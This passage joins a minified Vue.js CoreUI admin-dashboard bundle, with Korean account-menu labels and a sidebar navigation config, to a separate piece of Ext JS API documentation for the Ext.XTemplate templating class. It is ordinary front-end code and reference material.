incididunt...")])])])],2),s("b-tab",[s("template",{slot:"title"},[s("i",{staticClass:"icon-settings"})]),s("div",{staticClass:"p-3"},[s("h6",[t._v("Settings")]),s("div",{staticClass:"aside-options"},[s("div",{staticClass:"clearfix mt-4"},[s("small",[s("b",[t._v("Option 1")])]),s("c-switch",{staticClass:"float-right",attrs:{color:"success",label:"",variant:"pill",size:"sm",checked:""}})],1),s("div",[s("small",{staticClass:"text-muted"},[t._v("Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.")])])]),s("div",{staticClass:"aside-options"},[s("div",{staticClass:"clearfix mt-3"},[s("small",[s("b",[t._v("Option 2")])]),s("c-switch",{staticClass:"float-right",attrs:{color:"success",label:"",variant:"pill",size:"sm"}})],1),s("div",[s("small",{staticClass:"text-muted"},[t._v("Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.")])])]),s("div",{staticClass:"aside-options"},[s("div",{staticClass:"clearfix mt-3"},[s("small",[s("b",[t._v("Option 3")])]),s("c-switch",{staticClass:"float-right",attrs:{color:"success",label:"",variant:"pill",size:"sm",disabled:"",defaultChecked:""}})],1),s("div",[s("small",{staticClass:"text-muted"},[t._v("Disabled option.")])])]),s("div",{staticClass:"aside-options"},[s("div",{staticClass:"clearfix mt-3"},[s("small",[s("b",[t._v("Option 4")])]),s("c-switch",{staticClass:"float-right",attrs:{color:"success",label:"",variant:"pill",size:"sm",checked:""}})],1)]),s("hr"),s("h6",[t._v("System Utilization")]),s("div",{staticClass:"text-uppercase mb-1 mt-4"},[s("small",[s("b",[t._v("CPU Usage")])])]),s("b-progress",{staticClass:"progress-xs",attrs:{height:"{}",variant:"info",value:25}}),s("small",{staticClass:"text-muted"},[t._v("348 Processes. 1/4 Cores.")]),s("div",{staticClass:"text-uppercase mb-1 mt-2"},[s("small",[s("b",[t._v("Memory Usage")])])]),s("b-progress",{staticClass:"progress-xs",attrs:{height:"{}",variant:"warning",value:70}}),s("small",{staticClass:"text-muted"},[t._v("11444GB/16384MB")]),s("div",{staticClass:"text-uppercase mb-1 mt-2"},[s("small",[s("b",[t._v("SSD 1 Usage")])])]),s("b-progress",{staticClass:"progress-xs",attrs:{height:"{}",variant:"danger",value:95}}),s("small",{staticClass:"text-muted"},[t._v("243GB/256GB")]),s("div",{staticClass:"text-uppercase mb-1 mt-2"},[s("small",[s("b",[t._v("SSD 2 Usage")])])]),s("b-progress",{staticClass:"progress-xs",attrs:{height:"{}",variant:"success",value:10}}),s("small",{staticClass:"text-muted"},[t._v("25GB/256GB")])],1)],2)],1)},e=[],r=s("f1fb"),o={name:"DefaultAside",components:{cSwitch:r["o"]}},l=o,n=s("2877"),c=Object(n["a"])(l,i,e,!1,null,null,null);a["a"]=c.exports},e093:function(t,a,s){"use strict";var i=function(){var t=this,a=t.$createElement,s=t._self._c||a;return s("AppHeaderDropdown",{attrs:{right:"","no-caret":""}},[s("template",{slot:"header"},[s("i",{staticClass:"cui-cog icons font-2xl d-block mt-0"})]),s("template",{slot:"dropdown"},[s("b-dropdown-header",{staticClass:"text-center",attrs:{tag:"div"}},[s("strong",[t._v("계정")])]),s("b-dropdown-item",{on:{click:t.logout}},[s("i",{staticClass:"fa fa-lock"}),t._v(" 로그 아웃\n ")]),s("b-dropdown-item",[s("i",{staticClass:"fa fa-user"}),t._v(" 프로필\n ")]),s("b-dropdown-header",{staticClass:"text-center",attrs:{tag:"div"}},[s("strong",[t._v("설정들")])]),s("b-dropdown-item",[s("i",{staticClass:"fa fa-wrench"}),t._v(" 설정\n ")])],1)],2)},e=[],r=(s("96cf"),s("3b8d")),o=s("f1fb"),l={name:"DefaultHeaderDropdownAccnt",components:{AppHeaderDropdown:o["g"]},data:function(){return{itemsCount:42}},methods:{showAlert:function(){var t=Object(r["a"])(regeneratorRuntime.mark(function t(a){return regeneratorRuntime.wrap(function(t){while(1)switch(t.prev=t.next){case 0:return t.abrupt("return",this.$bvModal.msgBoxOk(a));case 1:case"end":return t.stop()}},t,this)}));function a(a){return t.apply(this,arguments)}return a}(),logout:function(){var t=Object(r["a"])(regeneratorRuntime.mark(function t(){var a;return regeneratorRuntime.wrap(function(t){while(1)switch(t.prev=t.next){case 0:return t.next=2,this.$service.$loginservice.logout();case 2:if(a=t.sent,!a){t.next=9;break}return t.next=6,this.showAlert("로그 아웃 성공");case 6:this.$router.push("/"),t.next=11;break;case 9:return t.next=11,this.showAlert("로그 아웃 실패");case 11:this.adjustLoginFormUI();case 12:case"end":return t.stop()}},t,this)}));function a(){return t.apply(this,arguments)}return a}()}},n=l,c=s("2877"),m=Object(c["a"])(n,i,e,!1,null,null,null);a["a"]=m.exports},e8c5:function(t,a,s){"use strict";s.r(a);var i=function(){var t=this,a=t.$createElement,s=t._self._c||a;return s("div",{staticClass:"app"},[s("AppHeader",{attrs:{fixed:""}},[s("SidebarToggler",{staticClass:"d-lg-none",attrs:{display:"md",mobile:""}}),s("div",{staticClass:"navbar-brand",attrs:{to:"#"}},[s("h2",[t._v("Quantified")])]),s("SidebarToggler",{staticClass:"d-md-down-none",attrs:{display:"lg",defaultOpen:!0}}),s("b-navbar-nav",{staticClass:"d-md-down-none"},[s("b-nav-item",{staticClass:"px-3",attrs:{to:"/dashboard"}},[t._v("Dashboard")]),s("b-nav-item",{staticClass:"px-3",attrs:{to:"/users",exact:""}},[t._v("Users")]),s("b-nav-item",{staticClass:"px-3"},[t._v("Settings")])],1),s("b-navbar-nav",{staticClass:"ml-auto"},[s("b-nav-item",{staticClass:"d-md-down-none"},[s("i",{staticClass:"icon-bell"}),s("b-badge",{attrs:{pill:"",variant:"danger"}},[t._v("5")])],1),s("b-nav-item",{staticClass:"d-md-down-none"},[s("i",{staticClass:"icon-list"})]),s("b-nav-item",{staticClass:"d-md-down-none"},[s("i",{staticClass:"icon-location-pin"})]),s("DefaultHeaderDropdownAccnt")],1),s("AsideToggler",{staticClass:"d-none d-lg-block"})],1),s("div",{staticClass:"app-body"},[s("AppSidebar",{attrs:{fixed:""}},[s("SidebarHeader"),s("SidebarForm"),s("SidebarNav",{attrs:{navItems:t.nav}}),s("SidebarFooter"),s("SidebarMinimizer")],1),s("main",{staticClass:"main"},[s("Breadcrumb",{attrs:{list:t.list}}),s("div",{staticClass:"container-fluid"},[s("router-view")],1)],1),s("AppAside",{attrs:{fixed:""}},[s("DefaultAside")],1)],1),s("TheFooter",[s("div",[s("a",{attrs:{href:"https://coreui.io"}},[t._v("CoreUI")]),s("span",{staticClass:"ml-1"},[t._v("© 2018 creativeLabs.")])]),s("div",{staticClass:"ml-auto"},[s("span",{staticClass:"mr-1"},[t._v("Powered by")]),s("a",{attrs:{href:"https://coreui.io"}},[t._v("CoreUI for Vue")])])])],1)},e=[],r=(s("7f7f"),{items:[{name:"Dashboard",icon:"icon-speedometer"},{title:!0,name:"Theme",class:"",wrapper:{element:"",attributes:{}}},{name:"Colors",url:"/theme/colors",icon:"icon-drop"},{name:"Typography",url:"/theme/typography",icon:"icon-pencil"},{title:!0,name:"Components",class:"",wrapper:{element:"",attributes:{}}},{name:"Base",url:"/base",icon:"icon-puzzle",children:[{name:"Breadcrumbs",url:"/base/breadcrumbs",icon:"icon-puzzle"},{name:"Cards",url:"/base/cards",icon:"icon-puzzle"},{name:"Carousels",url:"/base/carousels",icon:"icon-puzzle"},{name:"Collapses",url:"/base/collapses",icon:"icon-puzzle"},{name:"Forms",url:"/base/forms",icon:"icon-puzzle"},{name:"Jumbotrons",url:"/base/jumbotrons",icon:"icon-puzzle"},{name:"List Groups",url:"/base/list-groups",icon:"icon-puzzle"},{name:"Navs",url:"/base/navs",icon:"icon-puzzle"},{name:"Navbars",url:"/base/navbars",icon:"icon-puzzle"},{name:"Paginations",url:"/base/paginations",icon:"icon-puzzle"},{name:"Popovers",url:"/base/popovers",icon:"icon-puzzle"},{name:"Progress Bars",url:"/base/progress-bars",icon:"icon-puzzle"},{name:"Switches",url:"/base/switches",icon:"icon-puzzle"},{name:"Tables",url:"/base/tables",icon:"icon-puzzle"},{name:"Tabs",url:"/base/tabs",icon:"icon-puzzle"},{name:"Tooltips",url:"/base/tooltips",icon:"icon-puzzle"}]},{name:"Buttons",url:"/buttons",icon:"icon-cursor",children:[{name:"Buttons",url:"/buttons/standard-buttons",icon:"icon-cursor"},{name:"Button Dropdowns",url:"/buttons/dropdowns",icon:"icon-cursor"},{name:"Button Groups",url:"/buttons/button-groups",icon:"icon-cursor"},{name:"Brand Buttons",url:"/buttons/brand-buttons",icon:"icon-cursor"}]},{name:"Charts",url:"/charts",icon:"icon-pie-chart"},{name:"Icons",url:"/icons",icon:"icon-star",children:[{name:"CoreUI Icons",url:"/icons/coreui-icons",icon:"icon-star",badge:{variant:"info",text:"NEW"}},{name:"Flags",url:"/icons/flags",icon:"icon-star"},{name:"Font Awesome",url:"/icons/font-awesome",icon:"icon-star",badge:{variant:"secondary",text:"4.7"}},{name:"Simple Line Icons",url:"/icons/simple-line-icons",icon:"icon-star"}]},{name:"Notifications",url:"/notifications",icon:"icon-bell",children:[{name:"Alerts",url:"/notifications/alerts",icon:"icon-bell"},{name:"Badges",url:"/notifications/badges",icon:"icon-bell"},{name:"Modals",url:"/notifications/modals",icon:"icon-bell"}]},{name:"Widgets",url:"/widgets",icon:"icon-calculator",badge:{variant:"primary",text:"NEW"}},{divider:!0},{title:!0,name:"Extras"},{name:"Pages",url:"/pages",icon:"icon-star",children:[{name:"Login",url:"/pages/login",icon:"icon-star"},{name:"Register",url:"/pages/register",icon:"icon-star"},{name:"Error 404",url:"/pages/404",icon:"icon-star"},{name:"Error 500",url:"/pages/500",icon:"icon-star"}]},{name:"Disabled",url:"/dashboard",icon:"icon-ban",badge:{variant:"secondary",text:"NEW"},attributes:{disabled:!0}},{name:"Download CoreUI",url:"http://coreui.io/vue/",icon:"icon-cloud-download",class:"mt-auto",variant:"success",attributes:{target:"_blank",rel:"noopener"}},{name:"Try CoreUI PRO",url:"http://coreui.io/pro/vue/",icon:"icon-layers",variant:"danger",attributes:{target:"_blank",rel:"noopener"}}]}),o=s("f1fb"),l=s("c44e"),n=s("e093"),c={name:"DefaultContainer",components:{AsideToggler:o["b"],AppHeader:o["f"],AppSidebar:o["h"],AppAside:o["a"],TheFooter:o["e"],Breadcrumb:o["c"],DefaultAside:l["a"],DefaultHeaderDropdownAccnt:n["a"],SidebarForm:o["j"],SidebarFooter:o["i"],SidebarToggler:o["n"],SidebarHeader:o["k"],SidebarNav:o["m"],SidebarMinimizer:o["l"]},data:function(){return{nav:r.items}},computed:{name:function(){return this.$route.name},list:function(){return this.$route.matched.filter(function(t){return t.name||t.meta.label})}}},m=c,d=s("2877"),u=Object(d["a"])(m,i,e,!1,null,null,null);a["default"]=u.exports}}]); //# sourceMappingURL=chunk-345bd576.5ba20776.js.map
Ext.data.JsonP.Ext_XTemplate({"tagname":"class","html":"<div><pre class=\"hierarchy\"><h4>Hierarchy</h4><div class='subclass first-child'><a href='#!/api/Ext.Base' rel='Ext.Base' class='docClass'>Ext.Base</a><div class='subclass '><a href='#!/api/Ext.Template' rel='Ext.Template' class='docClass'>Ext.Template</a><div class='subclass '><strong>Ext.XTemplate</strong></div></div></div><h4>Files</h4><div class='dependency'><a href='source/XTemplate.html#Ext-XTemplate' target='_blank'>XTemplate.js</a></div></pre><div class='doc-contents'><p>A template class that supports advanced functionality like:</p>\n\n<ul>\n<li>Autofilling arrays using templates and sub-templates</li>\n<li>Conditional processing with basic comparison operators</li>\n<li>Basic math function support</li>\n<li>Execute arbitrary inline code with special built-in template variables</li>\n<li>Custom member functions</li>\n<li>Many special tags and built-in operators that aren't defined as part of the API, but are supported in the templates that can be created</li>\n</ul>\n\n\n<p>XTemplate provides the templating mechanism built into:</p>\n\n<ul>\n<li><a href=\"#!/api/Ext.view.View\" rel=\"Ext.view.View\" class=\"docClass\">Ext.view.View</a></li>\n</ul>\n\n\n<p>The <a href=\"#!/api/Ext.Template\" rel=\"Ext.Template\" class=\"docClass\">Ext.Template</a> describes the acceptable parameters to pass to the constructor. The following examples\ndemonstrate all of the supported features.</p>\n\n<h1>Sample Data</h1>\n\n<p>This is the data object used for reference in each code example:</p>\n\n<pre><code>var data = {\n name: 'Tommy Maintz',\n title: 'Lead Developer',\n company: 'Sencha Inc.',\n email: '[email protected]',\n address: '5 Cups Drive',\n city: 'Palo Alto',\n state: 'CA',\n zip: '44102',\n drinks: ['Coffee', 'Soda', 'Water'],\n kids: [\n {\n name: 'Joshua',\n age:3\n },\n {\n name: 'Matthew',\n age:2\n },\n {\n name: 'Solomon',\n age:0\n }\n ]\n};\n</code></pre>\n\n<h1>Auto filling of arrays</h1>\n\n<p>The <strong>tpl</strong> tag and the <strong>for</strong> operator are used to process the provided data object:</p>\n\n<ul>\n<li>If the value specified in for is an array, it will auto-fill, repeating the template block inside the tpl\ntag for each item in the array.</li>\n<li>If for=\".\" is specified, the data object provided is examined.</li>\n<li>While processing an array, the special variable {#} will provide the current array index + 1 (starts at 1, not 0).</li>\n</ul>\n\n\n<p>Examples:</p>\n\n<pre><code>&lt;tpl for=\".\"&gt;...&lt;/tpl&gt; // loop through array at root node\n&lt;tpl for=\"foo\"&gt;...&lt;/tpl&gt; // loop through array at foo node\n&lt;tpl for=\"foo.bar\"&gt;...&lt;/tpl&gt; // loop through array at foo.bar node\n</code></pre>\n\n<p>Using the sample data above:</p>\n\n<pre><code>var tpl = new Ext.XTemplate(\n '&lt;p&gt;Kids: ',\n '&lt;tpl for=\".\"&gt;', // process the data.kids node\n '&lt;p&gt;{#}. {name}&lt;/p&gt;', // use current array index to autonumber\n '&lt;/tpl&gt;&lt;/p&gt;'\n);\ntpl.overwrite(panel.body, data.kids); // pass the kids property of the data object\n</code></pre>\n\n<p>An example illustrating how the <strong>for</strong> property can be leveraged to access specified members of the provided data\nobject to populate the template:</p>\n\n<pre><code>var tpl = new Ext.XTemplate(\n '&lt;p&gt;Name: {name}&lt;/p&gt;',\n '&lt;p&gt;Title: {title}&lt;/p&gt;',\n '&lt;p&gt;Company: {company}&lt;/p&gt;',\n '&lt;p&gt;Kids: ',\n '&lt;tpl for=\"kids\"&gt;', // interrogate the kids property within the data\n '&lt;p&gt;{name}&lt;/p&gt;',\n '&lt;/tpl&gt;&lt;/p&gt;'\n);\ntpl.overwrite(panel.body, data); // pass the root node of the data object\n</code></pre>\n\n<p>Flat arrays that contain values (and not objects) can be auto-rendered using the special <strong><code>{.}</code></strong> variable inside a\nloop. This variable will represent the value of the array at the current index:</p>\n\n<pre><code>var tpl = new Ext.XTemplate(\n '&lt;p&gt;{name}\\'s favorite beverages:&lt;/p&gt;',\n '&lt;tpl for=\"drinks\"&gt;',\n '&lt;div&gt; - {.}&lt;/div&gt;',\n '&lt;/tpl&gt;'\n);\ntpl.overwrite(panel.body, data);\n</code></pre>\n\n<p>When processing a sub-template, for example while looping through a child array, you can access the parent object's\nmembers via the <strong>parent</strong> object:</p>\n\n<pre><code>var tpl = new Ext.XTemplate(\n '&lt;p&gt;Name: {name}&lt;/p&gt;',\n '&lt;p&gt;Kids: ',\n '&lt;tpl for=\"kids\"&gt;',\n '&lt;tpl if=\"age &amp;gt; 1\"&gt;',\n '&lt;p&gt;{name}&lt;/p&gt;',\n '&lt;p&gt;Dad: {parent.name}&lt;/p&gt;',\n '&lt;/tpl&gt;',\n '&lt;/tpl&gt;&lt;/p&gt;'\n);\ntpl.overwrite(panel.body, data);\n</code></pre>\n\n<h1>Conditional processing with basic comparison operators</h1>\n\n<p>The <strong>tpl</strong> tag and the <strong>if</strong> operator are used to provide conditional checks for deciding whether or not to render\nspecific parts of the template. Notes:</p>\n\n<ul>\n<li>Double quotes must be encoded if used within the conditional</li>\n<li>There is no else operator -- if needed, two opposite if statements should be used.</li>\n</ul>\n\n\n<p>Examples:</p>\n\n<pre><code>&lt;tpl if=\"age &gt; 1 &amp;&amp; age &lt; 10\"&gt;Child&lt;/tpl&gt;\n&lt;tpl if=\"age &gt;= 10 &amp;&amp; age &lt; 18\"&gt;Teenager&lt;/tpl&gt;\n&lt;tpl if=\"this.isGirl(name)\"&gt;...&lt;/tpl&gt;\n&lt;tpl if=\"id==\\'download\\'\"&gt;...&lt;/tpl&gt;\n&lt;tpl if=\"needsIcon\"&gt;&lt;img src=\"{icon}\" class=\"{iconCls}\"/&gt;&lt;/tpl&gt;\n// no good:\n&lt;tpl if=\"name == \"Tommy\"\"&gt;Hello&lt;/tpl&gt;\n// encode \" if it is part of the condition, e.g.\n&lt;tpl if=\"name == &amp;quot;Tommy&amp;quot;\"&gt;Hello&lt;/tpl&gt;\n</code></pre>\n\n<p>Using the sample data above:</p>\n\n<pre><code>var tpl = new Ext.XTemplate(\n '&lt;p&gt;Name: {name}&lt;/p&gt;',\n '&lt;p&gt;Kids: ',\n '&lt;tpl for=\"kids\"&gt;',\n '&lt;tpl if=\"age &amp;gt; 1\"&gt;',\n '&lt;p&gt;{name}&lt;/p&gt;',\n '&lt;/tpl&gt;',\n '&lt;/tpl&gt;&lt;/p&gt;'\n);\ntpl.overwrite(panel.body, data);\n</code></pre>\n\n<h1>Basic math support</h1>\n\n<p>The following basic math operators may be applied directly on numeric data values:</p>\n\n<pre><code>+ - * /\n</code></pre>\n\n<p>For example:</p>\n\n<pre><code>var tpl = new Ext.XTemplate(\n '&lt;p&gt;Name: {name}&lt;/p&gt;',\n '&lt;p&gt;Kids: ',\n '&lt;tpl for=\"kids\"&gt;',\n '&lt;tpl if=\"age &amp;gt; 1\"&gt;', // &lt;-- Note that the &gt; is encoded\n '&lt;p&gt;{#}: {name}&lt;/p&gt;', // &lt;-- Auto-number each item\n '&lt;p&gt;In 5 Years: {age+5}&lt;/p&gt;', // &lt;-- Basic math\n '&lt;p&gt;Dad: {parent.name}&lt;/p&gt;',\n '&lt;/tpl&gt;',\n '&lt;/tpl&gt;&lt;/p&gt;'\n);\ntpl.overwrite(panel.body, data);\n</code></pre>\n\n<h1>Execute arbitrary inline code with special built-in template variables</h1>\n\n<p>Anything between <code>{[ ... ]}</code> is considered code to be executed in the scope of the template. There are some special\nvariables available in that code:</p>\n\n<ul>\n<li><strong>values</strong>: The values in the current scope. If you are using scope changing sub-templates,\nyou can change what values is.</li>\n<li><strong>parent</strong>: The scope (values) of the ancestor template.</li>\n<li><strong>xindex</strong>: If you are in a looping template, the index of the loop you are in (1-based).</li>\n<li><strong>xcount</strong>: If you are in a looping template, the total length of the array you are looping.</li>\n</ul>\n\n\n<p>This example demonstrates basic row striping using an inline code block and the xindex variable:</p>\n\n<pre><code>var tpl = new Ext.XTemplate(\n '&lt;p&gt;Name: {name}&lt;/p&gt;',\n '&lt;p&gt;Company: {[values.company.toUpperCase() + \", \" + values.title]}&lt;/p&gt;',\n '&lt;p&gt;Kids: ',\n '&lt;tpl for=\"kids\"&gt;',\n '&lt;div class=\"{[xindex % 2 === 0 ? \"even\" : \"odd\"]}\"&gt;',\n '{name}',\n '&lt;/div&gt;',\n '&lt;/tpl&gt;&lt;/p&gt;'\n );\ntpl.overwrite(panel.body, data);\n</code></pre>\n\n<h1>Template member functions</h1>\n\n<p>One or more member functions can be specified in a configuration object passed into the XTemplate constructor for\nmore complex processing:</p>\n\n<pre><code>var tpl = new Ext.XTemplate(\n '&lt;p&gt;Name: {name}&lt;/p&gt;',\n '&lt;p&gt;Kids: ',\n '&lt;tpl for=\"kids\"&gt;',\n '&lt;tpl if=\"this.isGirl(name)\"&gt;',\n '&lt;p&gt;Girl: {name} - {age}&lt;/p&gt;',\n '&lt;/tpl&gt;',\n // use opposite if statement to simulate 'else' processing:\n '&lt;tpl if=\"this.isGirl(name) == false\"&gt;',\n '&lt;p&gt;Boy: {name} - {age}&lt;/p&gt;',\n '&lt;/tpl&gt;',\n '&lt;tpl if=\"this.isBaby(age)\"&gt;',\n '&lt;p&gt;{name} is a baby!&lt;/p&gt;',\n '&lt;/tpl&gt;',\n '&lt;/tpl&gt;&lt;/p&gt;',\n {\n // XTemplate configuration:\n disableFormats: true,\n // member functions:\n isGirl: function(name){\n return name == 'Sara Grace';\n },\n isBaby: function(age){\n return age &lt; 1;\n }\n }\n);\ntpl.overwrite(panel.body, data);\n</code></pre>\n</div><div class='members'><div id='m-cfg'><div class='definedBy'>Defined By</div><h3 class='members-title'>Config options</h3><div class='subsection'><div id='cfg-codeRe' class='member first-child not-inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.XTemplate' rel='Ext.XTemplate' class='definedIn docClass'>Ext.XTemplate</a><br/><a href='source/XTemplate.html#Ext-XTemplate-cfg-codeRe' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.XTemplate-cfg-codeRe' class='name expandable'>codeRe</a><span> : <a href=\"#!/api/RegExp\" rel=\"RegExp\" class=\"docClass\">RegExp</a></span></div><div class='description'><div class='short'>The regular expression used to match code variables. ...</div><div class='long'><p>The regular expression used to match code variables. Default: matches {[expression]}.</p>\n<p>Defaults to: <code>/\\{\\[((?:\\\\\\]|.|\\n)*?)\\]\\}/g</code></p></div></div></div><div id='cfg-compiled' class='member not-inherited'><a href='#' class='side not-expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.XTemplate' rel='Ext.XTemplate' class='definedIn docClass'>Ext.XTemplate</a><br/><a href='source/XTemplate.html#Ext-XTemplate-cfg-compiled' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.XTemplate-cfg-compiled' class='name not-expandable'>compiled</a><span> : <a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a></span></div><div class='description'><div class='short'><p>Only applies to <a href=\"#!/api/Ext.Template\" rel=\"Ext.Template\" class=\"docClass\">Ext.Template</a>, XTemplates are compiled automatically.</p>\n</div><div class='long'><p>Only applies to <a href=\"#!/api/Ext.Template\" rel=\"Ext.Template\" class=\"docClass\">Ext.Template</a>, XTemplates are compiled automatically.</p>\n</div></div></div><div id='cfg-disableFormats' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-cfg-disableFormats' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-cfg-disableFormats' class='name expandable'>disableFormats</a><span> : <a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a></span></div><div class='description'><div class='short'>True to disable format functions in the template. ...</div><div class='long'><p>True to disable format functions in the template. If the template doesn't contain\nformat functions, setting disableFormats to true will reduce apply time. Defaults to false.</p>\n<p>Defaults to: <code>false</code></p></div></div></div></div></div><div id='m-property'><div class='definedBy'>Defined By</div><h3 class='members-title'>Properties</h3><div class='subsection'><div id='property-self' class='member first-child inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-property-self' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-property-self' class='name expandable'>self</a><span> : <a href=\"#!/api/Ext.Class\" rel=\"Ext.Class\" class=\"docClass\">Ext.Class</a></span><strong class='protected-signature'>protected</strong></div><div class='description'><div class='short'>Get the reference to the current class from which this object was instantiated. ...</div><div class='long'><p>Get the reference to the current class from which this object was instantiated. Unlike <a href=\"#!/api/Ext.Base-method-statics\" rel=\"Ext.Base-method-statics\" class=\"docClass\">statics</a>,\n<code>this.self</code> is scope-dependent and it's meant to be used for dynamic inheritance. See <a href=\"#!/api/Ext.Base-method-statics\" rel=\"Ext.Base-method-statics\" class=\"docClass\">statics</a>\nfor a detailed comparison</p>\n\n<pre><code>Ext.define('My.Cat', {\n statics: {\n speciesName: 'Cat' // My.Cat.speciesName = 'Cat'\n },\n\n constructor: function() {\n alert(this.self.speciesName); / dependent on 'this'\n\n return this;\n },\n\n clone: function() {\n return new this.self();\n }\n});\n\n\nExt.define('My.SnowLeopard', {\n extend: 'My.Cat',\n statics: {\n speciesName: 'Snow Leopard' // My.SnowLeopard.speciesName = 'Snow Leopard'\n }\n});\n\nvar cat = new My.Cat(); // alerts 'Cat'\nvar snowLeopard = new My.SnowLeopard(); // alerts 'Snow Leopard'\n\nvar clone = snowLeopard.clone();\nalert(Ext.getClassName(clone)); // alerts 'My.SnowLeopard'\n</code></pre>\n</div></div></div></div></div><div id='m-method'><h3 class='members-title'>Methods</h3><div class='subsection'><div class='definedBy'>Defined By</div><h4 class='members-subtitle'>Instance Methods</h3><div id='method-constructor' class='member first-child inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-constructor' target='_blank' class='viewSource'>view source</a></div><strong class='constructor-signature'>new</strong><a href='#!/api/Ext.Template-method-constructor' class='name expandable'>Ext.XTemplate</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>... html, [<a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> config]</span> ) : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a></div><div class='description'><div class='short'>Creates new template. ...</div><div class='long'><p>Creates new template.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>html</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>...<div class='sub-desc'><p>List of strings to be concatenated into template.\nAlternatively an array of strings can be given, but then no config object may be passed.</p>\n</div></li><li><span class='pre'>config</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> (optional)<div class='sub-desc'><p>Config object</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a></span><div class='sub-desc'>\n</div></li></ul></div></div></div><div id='method-append' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-append' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-method-append' class='name expandable'>append</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a> el, <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a> values, [<a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> returnElement]</span> ) : HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></div><div class='description'><div class='short'>Applies the supplied values to the template and appends the new node(s) to the specified el. ...</div><div class='long'><p>Applies the supplied <code>values</code> to the template and appends the new node(s) to the specified <code>el</code>.</p>\n\n<p>For example usage see <a href=\"#!/api/Ext.Template\" rel=\"Ext.Template\" class=\"docClass\">Ext.Template class docs</a>.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>el</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a><div class='sub-desc'><p>The context element</p>\n</div></li><li><span class='pre'>values</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a><div class='sub-desc'><p>The template values. See <a href=\"#!/api/Ext.Template-method-applyTemplate\" rel=\"Ext.Template-method-applyTemplate\" class=\"docClass\">applyTemplate</a> for details.</p>\n</div></li><li><span class='pre'>returnElement</span> : <a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> (optional)<div class='sub-desc'><p>true to return an <a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a>.</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'>HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></span><div class='sub-desc'><p>The new node or Element</p>\n</div></li></ul></div></div></div><div id='method-apply' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-apply' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-method-apply' class='name expandable'>apply</a>( <span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a> values</span> ) : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a></div><div class='description'><div class='short'>Alias for applyTemplate. ...</div><div class='long'><p>Alias for <a href=\"#!/api/Ext.Template-method-applyTemplate\" rel=\"Ext.Template-method-applyTemplate\" class=\"docClass\">applyTemplate</a>.</p>\n\n<p>Returns an HTML fragment of this template with the specified values applied.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>values</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a><div class='sub-desc'><p>The template values. Can be an array if your params are 